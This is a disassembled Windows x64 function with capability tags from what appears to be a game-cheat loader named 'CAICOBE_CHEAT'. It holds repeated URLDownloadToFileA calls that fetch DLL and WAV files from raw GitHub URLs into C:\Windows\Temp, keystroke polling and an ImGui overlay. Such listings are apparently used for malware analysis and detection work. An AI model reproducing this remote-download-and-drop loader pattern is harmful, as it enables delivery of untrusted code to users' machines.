Function at 0x140048da0
Capabilities:
Create process on windows
Create thread
Download url
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x7b0]
sub rsp, 0x8b0
xor r14d, r14d
lea r8, [0x140048d30]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
mov dword [rbp + 0x40], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140048d70]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400476f0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x3b8], r14
call fcn.140118df4
movups xmm0, xmmword [str.CAICOBECHEATS.exe]
mov rdi, rax
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3c0], reloc.WS2_32.dll_recvfrom
movups xmmword [rax], xmm0
movzx ecx, byte [0x1401586a8]
mov byte [rax + 0x10], cl
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x3c8], Ordinal_41
mov byte [rax + 0x11], r14b
call fcn.140046690
mov rsi, qword [rbp - 8]
lea rcx, [rbp - 0x20]
mov rbx, qword [rbp - 0x20]
cmp rsi, 0xf
mov r8, qword [rbp - 0x10]
cmova rcx, rbx
cmp r8, 0x11
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp rsi, 0xf
jbe 0x140048ebc
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140048eb4
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048eb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140119140
mov qword [rsp + 0x28], r14
lea r8, [0x1400468a0]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140046a60]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x20], r14
lea rdx, [rdx + 0x80]
xor r9d, r9d
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x1586b0]
lea rcx, [rbx + 0x1586b0]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
lea r8, [rbp - 0x70]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [str.C:WindowsTempprueba.dll]
movups xmmword [rdx + 0x20], xmm1
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x3d0]
movzx eax, word [0x140157a68]
mov word [rbp - 0x58], ax
movzx eax, byte [0x140157a6a]
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x56], al
movsd xmm0, qword [0x140157a60]
movsd qword [rbp - 0x60], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x158770]
lea rax, [rbx + 0x158770]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x3d0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
xor r9d, r9d
lea r8, [rbp - 0x70]
movups xmm1, xmmword [rax + 0x90]
mov rax, qword [rax + 0xb0]
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x20], r14
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov qword [rcx + 0xb0], rax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempmoco.ll.dll]
mov eax, dword [0x140157a98]
mov dword [rbp - 0x58], eax
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140157a90]
movsd qword [rbp - 0x60], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x158830]
lea rcx, [rbx + 0x158830]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x20], r14
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x108]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x140157ab0]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
movups xmm0, xmmword [str.C:WindowsTempChamsBlanca_1.dll]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
xor ecx, ecx
mov word [rdx + 0x3c], ax
lea rdx, [rbp + 0x3d0]
movzx eax, word [0x140157ac0]
mov word [rbp + 0x128], ax
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1588f0]
lea rcx, [rbx + 0x1588f0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x3d0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
mov qword [rsp + 0x20], r14
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x30]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0x108]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x140157ad8]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
movups xmm0, xmmword [str.C:WindowsTempPERSONAJES_3D.dll]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
xor ecx, ecx
mov word [rdx + 0x3c], ax
lea rdx, [rbp + 0x3d0]
movzx eax, word [0x140157ae8]
mov word [rbp + 0x128], ax
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x1401589e0]
lea r8, [rbp - 0x70]
movups xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_glew32.dll]
mov dword [rbp + 0x90], eax
xor r9d, r9d
movzx eax, byte [0x1401589e4]
lea rdx, [rbp + 0x60]
movups xmm1, xmmword [0x1401589c0]
mov byte [rbp + 0x94], al
xor ecx, ecx
movzx eax, word [0x140157b08]
movups xmmword [rbp + 0x60], xmm0
mov word [rbp - 0x58], ax
movups xmm0, xmmword [0x1401589d0]
movzx eax, byte [0x140157b0a]
movups xmmword [rbp + 0x70], xmm1
mov byte [rbp - 0x56], al
movups xmmword [rbp + 0x80], xmm0
mov qword [rsp + 0x20], r14
movups xmm0, xmmword [str.C:WindowsTempglew32.dll]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140157b00]
movsd qword [rbp - 0x60], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x140158a18]
lea r8, [rbp - 0x70]
movups xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_glew64.dll]
mov dword [rbp + 0x90], eax
xor r9d, r9d
movzx eax, byte [0x140158a1c]
lea rdx, [rbp + 0x60]
movups xmm1, xmmword [0x1401589f8]
mov byte [rbp + 0x94], al
xor ecx, ecx
movzx eax, word [0x140157b28]
movups xmmword [rbp + 0x60], xmm0
mov word [rbp - 0x58], ax
movups xmm0, xmmword [0x140158a08]
movzx eax, byte [0x140157b2a]
movups xmmword [rbp + 0x70], xmm1
mov byte [rbp - 0x56], al
movups xmmword [rbp + 0x80], xmm0
mov qword [rsp + 0x20], r14
movups xmm0, xmmword [str.C:WindowsTempglew64.dll]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140157b20]
movsd qword [rbp - 0x60], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__github.com_cracker90900_dll_raw_main_MENUDLL.dll]
movups xmm1, xmmword [0x140158a30]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [0x140158a40]
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140158a50]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempMENUDLL.dll]
movzx eax, byte [0x140158a58]
lea r8, [rbp - 0x70]
mov byte [rbp + 0x98], al
lea rdx, [rbp + 0x60]
mov eax, dword [0x140157b48]
xor r9d, r9d
movups xmmword [rbp - 0x70], xmm0
xor ecx, ecx
mov dword [rbp - 0x58], eax
movsd xmm0, qword [0x140157b40]
movsd qword [rbp - 0x60], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_1266365991831470162.wav]
lea r8, [rbp + 0x108]
movaps xmm1, xmmword [0x140158a70]
lea rdx, [rbp + 0x60]
movzx eax, word [0x140158aa0]
xor r9d, r9d
movaps xmmword [rbp + 0x60], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140158a80]
movaps xmmword [rbp + 0x70], xmm1
movaps xmm1, xmmword [0x140158a90]
mov word [rbp + 0xa0], ax
movzx eax, word [0x140157688]
movaps xmmword [rbp + 0x80], xmm0
movups xmm0, xmmword [str.C:Windows1266365991831470162.wav]
mov word [rbp + 0x128], ax
movzx eax, byte [0x14015768a]
movaps xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x140157678]
mov byte [rbp + 0x12a], al
movups xmmword [rbp + 0x108], xmm0
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x118], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__github.com_cracker90900_dll_raw_main_blackbullvoz.wav]
mov eax, dword [0x140158ae0]
lea r8, [rbp - 0x70]
movups xmm1, xmmword [0x140158ab8]
mov dword [rbp + 0x98], eax
xor r9d, r9d
movzx eax, word [0x140158ae4]
lea rdx, [rbp + 0x60]
movups xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x9c], ax
xor ecx, ecx
movups xmm0, xmmword [0x140158ac8]
movzx eax, word [0x140158b00]
mov word [rbp - 0x58], ax
movzx eax, byte [0x140158b02]
movups xmmword [rbp + 0x80], xmm0
mov byte [rbp - 0x56], al
movsd xmm0, qword [0x140158ad8]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsSENSEIBYTES.wav]
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140158af8]
movsd qword [rbp - 0x60], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [0x140276940]
call fcn.1400c3300
cmp byte [0x140276b58], r14b
jne 0x140049522
lea rcx, [0x140276b60]
call fcn.140036ad0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x14004cc30]
mov dword [rbp + 0x360], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x368], rax
xor ecx, ecx
mov dword [rbp + 0x364], 0x40
mov qword [rbp + 0x370], r14
mov qword [rbp + 0x378], r14
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x380], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x390], r14
mov qword [rbp + 0x388], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x398], rax
lea rax, str.Example
mov qword [rbp + 0x3a0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x360]
mov qword [rbp + 0x3a8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov edi, 1
mov ecx, edi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x104]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
lea r8, str.Entropy
mov qword [rsp + 0x50], r14
cdq
mov qword [rsp + 0x48], r14
sub eax, edx
mov rdx, qword [rbp + 0x3a0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x208
sar eax, 1
sub eax, 0x17c
mov dword [rsp + 0x30], 0x2f8
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x100], rax
mov edx, 0xffffffec
mov rsi, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, rsi
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, rsi
call fcn.140045b70
movdqa xmm0, xmmword [0x140159ba0]
lea rdx, [rbp + 0x4f0]
mov rcx, rsi
movdqu xmmword [rbp + 0x4f0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [rbp + 0x308]
mov rcx, rsi
movups xmmword [rbp + 0x308], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, rsi
call fcn.14004ca80
test al, al
jne 0x1400496f4
call fcn.14004cbb0
mov rdx, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x3b0]
call fcn.140036b00
mov eax, edi
add rsp, 0x8b0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x8e0], r12
mov edx, 0xa
mov qword [rsp + 0x8e8], r13
mov rcx, rsi
mov qword [rsp + 0x8f0], r15
movaps xmmword [rsp + 0x8a0], xmm6
movaps xmmword [rsp + 0x870], xmm9
movaps xmmword [rsp + 0x860], xmm10
movaps xmmword [rsp + 0x850], xmm11
movaps xmmword [rsp + 0x840], xmm12
movaps xmmword [rsp + 0x830], xmm13
movaps xmmword [rsp + 0x820], xmm14
movaps xmmword [rsp + 0x810], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140006270
call fcn.140008260
lea rcx, [rbp + 0x3d0]
mov rbx, rax
call fcn.1400241c0
movss xmm6, dword [0x140159ab8]
lea rax, [rbp + 0x3d0]
mov rcx, qword [rbx + 0x50]
lea rdi, [0x1401538a8]
mov qword [rsp + 0x28], rdi
lea rdx, [0x140171110]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x8574
mov dword [rbp + 0x41c], 0x10c
call fcn.140024cb0
movss xmm3, dword [0x140159ab4]
lea rax, [rbp + 0x3d0]
mov rcx, qword [rbx + 0x50]
lea rdx, [0x140171110]
mov qword [rsp + 0x28], rdi
mov r8d, 0x8574
mov qword [rsp + 0x20], rax
call fcn.140024cb0
mov rcx, qword [rbx + 0x50]
lea rdx, [0x140231850]
mov qword [0x1402556d8], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x28], rdi
mov r8d, 0xb98
mov qword [rsp + 0x20], rax
call fcn.140024cb0
movss xmm3, dword [0x140159aa8]
lea rdx, [0x140231850]
mov rcx, qword [rbx + 0x50]
mov r8d, 0xb98
mov qword [0x1402556e0], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140024cb0
movss xmm3, dword [0x140159ad4]
lea rdx, [0x1402323f0]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x20fe0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r14
call fcn.140024cb0
xor ecx, ecx
mov qword [rbp + 0x228], rax
call fcn.1400200a0
mov rcx, rsi
call fcn.1400392a0
call fcn.140039030
movzx r12d, byte [rsp + 0x60]
xor cl, cl
movzx r15d, byte [rsp + 0x60]
xorps xmm9, xmm9
movzx ebx, byte [rsp + 0x60]
movzx r14d, byte [rsp + 0x60]
movzx edi, byte [rsp + 0x60]
movzx esi, byte [rsp + 0x60]
movzx r13d, byte [rsp + 0x60]
mov dword [rbp - 0x30], ecx
movss xmm11, dword [0x140159a8c]
movss xmm10, dword [0x140159a30]
movss xmm14, dword [0x1401599f8]
movss xmm12, dword [0x140159b74]
movss xmm15, dword [0x140159b24]
movss xmm13, dword [0x140159b04]
movaps xmmword [rsp + 0x890], xmm7
movaps xmmword [rsp + 0x880], xmm8
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x5e0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400499b0
mov r15d, dword [rbp - 0x30]
mov r12d, 1
nop dword [rax + rax]
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x5e8], 0x12
lea rcx, [rbp + 0x5e0]
movzx r15d, r15b
cmove r15d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140049950
movzx r12d, byte [rsp + 0x60]
mov dword [rbp - 0x30], r15d
movzx r15d, byte [rsp + 0x60]
cmp byte [rbp - 0x30], al
jne 0x14004c8c7
mov ecx, dword [0x1402556f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140049a3e
mov ecx, 8
call fcn.140118df4
lea rcx, [0x140045f70]
mov r9, rax
lea r8, [0x14004f220]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x238]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x230], rax
test rax, rax
je 0x14004c994
cmp dword [rbp + 0x238], 0
je 0x14004c988
movaps xmm0, xmmword [rbp + 0x230]
lea rcx, [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004c988
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x230], xmm0
mov ecx, dword [0x1402556f8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140049aec
movzx eax, word [0x140157730]
xor ecx, ecx
xorps xmm0, xmm0
mov qword [rbp + 0x10], rcx
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], rcx
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], ax
movabs r9, 0x7fffffffffff
movups xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x70], ax
xor r8d, r8d
lea rax, [rbp - 0x20]
mov qword [rbp - 8], rdx
mov qword [rsp + 0x30], rax
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x50]
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], rdx
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp], cl
mov qword [rbp - 0x38], rdx
mov byte [rbp - 0x50], cl
mov qword [rbp - 0x78], rdx
lea rdx, [rsp + 0x70]
mov byte [rsp + 0x72], cl
lea rcx, [0x1402548a8]
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x10], 2
mov byte [rbp - 0x1e], 0
mov qword [rbp - 0x80], 2
call fcn.140044050
mov ecx, dword [0x1402557f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140049b9a
movzx eax, word [0x140157734]
xor ecx, ecx
xorps xmm0, xmm0
mov qword [rbp + 0x10], rcx
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], rcx
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], ax
movabs r9, 0x7fffffffffff
movups xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x70], ax
xor r8d, r8d
lea rax, [rbp - 0x20]
mov qword [rbp - 8], rdx
mov qword [rsp + 0x30], rax
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x50]
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], rdx
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp], cl
mov qword [rbp - 0x38], rdx
mov byte [rbp - 0x50], cl
mov qword [rbp - 0x78], rdx
lea rdx, [rsp + 0x70]
mov byte [rsp + 0x72], cl
lea rcx, [0x1402548a8]
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x10], 2
mov byte [rbp - 0x1e], 0
mov qword [rbp - 0x80], 2
call fcn.140044050
mov ecx, dword [0x1402556e8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140049c48
movzx eax, word [0x14015772c]
xor ecx, ecx
xorps xmm0, xmm0
mov qword [rbp + 0x10], rcx
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], rcx
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x20], ax
movabs r9, 0x7fffffffffff
movups xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x70], ax
xor r8d, r8d
lea rax, [rbp - 0x20]
mov qword [rbp - 8], rdx
mov qword [rsp + 0x30], rax
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x50]
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], rdx
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp], cl
mov qword [rbp - 0x38], rdx
mov byte [rbp - 0x50], cl
mov qword [rbp - 0x78], rdx
lea rdx, [rsp + 0x70]
mov byte [rsp + 0x72], cl
lea rcx, [0x1402548a8]
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x10], 2
mov byte [rbp - 0x1e], 0
mov qword [rbp - 0x80], 2
call fcn.140044050
mov rax, qword [0x1402556c0]
test rax, rax
je 0x140049c67
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x140049c8b
jmp 0x140049c6c
mov qword [rsp + 0x68], rax
mov r8d, 0x250
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTO_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
cmp qword [rax + 0x48], 0
jne 0x140049c97
call fcn.1400389c0
call fcn.14003a0b0
call fcn.140008be0
mov rax, qword [0x1402556c0]
mov qword [rbp + 0x48], rax
test rax, rax
jne 0x140049cd6
mov r8d, 0xb67
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402556c0]
mov qword [rbp + 0x48], rax
movdqa xmm0, xmmword [0x14015a100]
xor ecx, ecx
mov dword [rax + 0x37e8], ecx
xor edx, edx
mov dword [rax + 0x37f4], ecx
mov r8d, 0x20bb
mov qword [rax + 0x382c], rcx
lea rcx, str.ImGui_Menu_
mov dword [rax + 0x37f0], 0x41200000
mov dword [rax + 0x380c], 0x41200000
mov dword [rax + 0x37ec], 0x41f00000
mov dword [rax + 0x3824], 0x40800000
mov dword [rax + 0x3854], 0x40c00000
mov qword [rax + 0x3814], 0x41000000
movups xmmword [0x14028bdd0], xmm0
movdqa xmm0, xmmword [0x14015a060]
movups xmmword [0x14028bee0], xmm0
or dword [rax + 0x4778], 2
mov dword [rax + 0x4798], 0x443e0000
mov dword [rax + 0x479c], 0x44020000
mov dword [rax + 0x4780], 1
call fcn.14000ece0
mov rcx, qword [rbp + 0x100]
lea rdx, [rbp + 0x308]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1402556c0]
mov qword [rsp + 0x68], rcx
mov rax, qword [rcx + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm9
jp 0x140049dc0
jne 0x140049dc0
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm9
jp 0x140049dc0
je 0x140049e3f
movd xmm0, dword [rbp + 0x30c]
mov r9d, 0x2f8
movd xmm1, dword [rbp + 0x308]
mov rcx, qword [rbp + 0x100]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x208
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x1402556c0]
lea rdx, [rbp + 0x240]
xor r8d, r8d
mov qword [rbp + 0x240], 0
mov rcx, qword [rcx + 0x3ea0]
call fcn.1400124d0
mov rcx, qword [0x1402556c0]
mov qword [rsp + 0x68], rcx
mov rax, qword [rcx + 0x3ea0]
movsd xmm0, qword [rax + 0x18]
mov byte [rax + 0xb0], 1
cmp dword [rcx + 0x4870], 0
mov rax, qword [rcx + 0x3ea0]
movsd qword [rbp - 0x50], xmm0
mov rax, qword [rax + 0x290]
mov qword [rbp - 0x28], rax
jg 0x140049e91
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 0x4878]
lea r8, str.Foreground
mov edx, 1
mov rcx, qword [rcx]
call fcn.1400082a0
lea rax, [0x140000000]
lea rax, [rax + 0x1599a8]
mov qword [rbp + 0x610], rax
lea rcx, [rbp + 0x6a8]
lea rax, [0x14015998c]
mov qword [rbp + 0x620], rax
